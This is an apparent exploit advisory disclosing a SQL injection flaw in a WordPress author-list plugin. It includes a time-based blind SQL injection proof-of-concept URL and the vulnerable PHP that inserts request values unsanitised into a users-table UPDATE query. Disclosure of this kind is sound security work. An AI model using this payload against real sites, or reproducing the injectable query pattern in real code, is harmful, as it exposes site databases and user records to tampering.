WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability

# Exploit Title: WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/knr-author-list-widget.zip
# Version: 2.0.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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foreach ($_GET['listItem'] as $position => $item) :
    $iterSql = "UPDATE $wpdb->users SET knr_author_order = $position WHERE ID = $item";
    $wpdb->query($iterSql);
endforeach;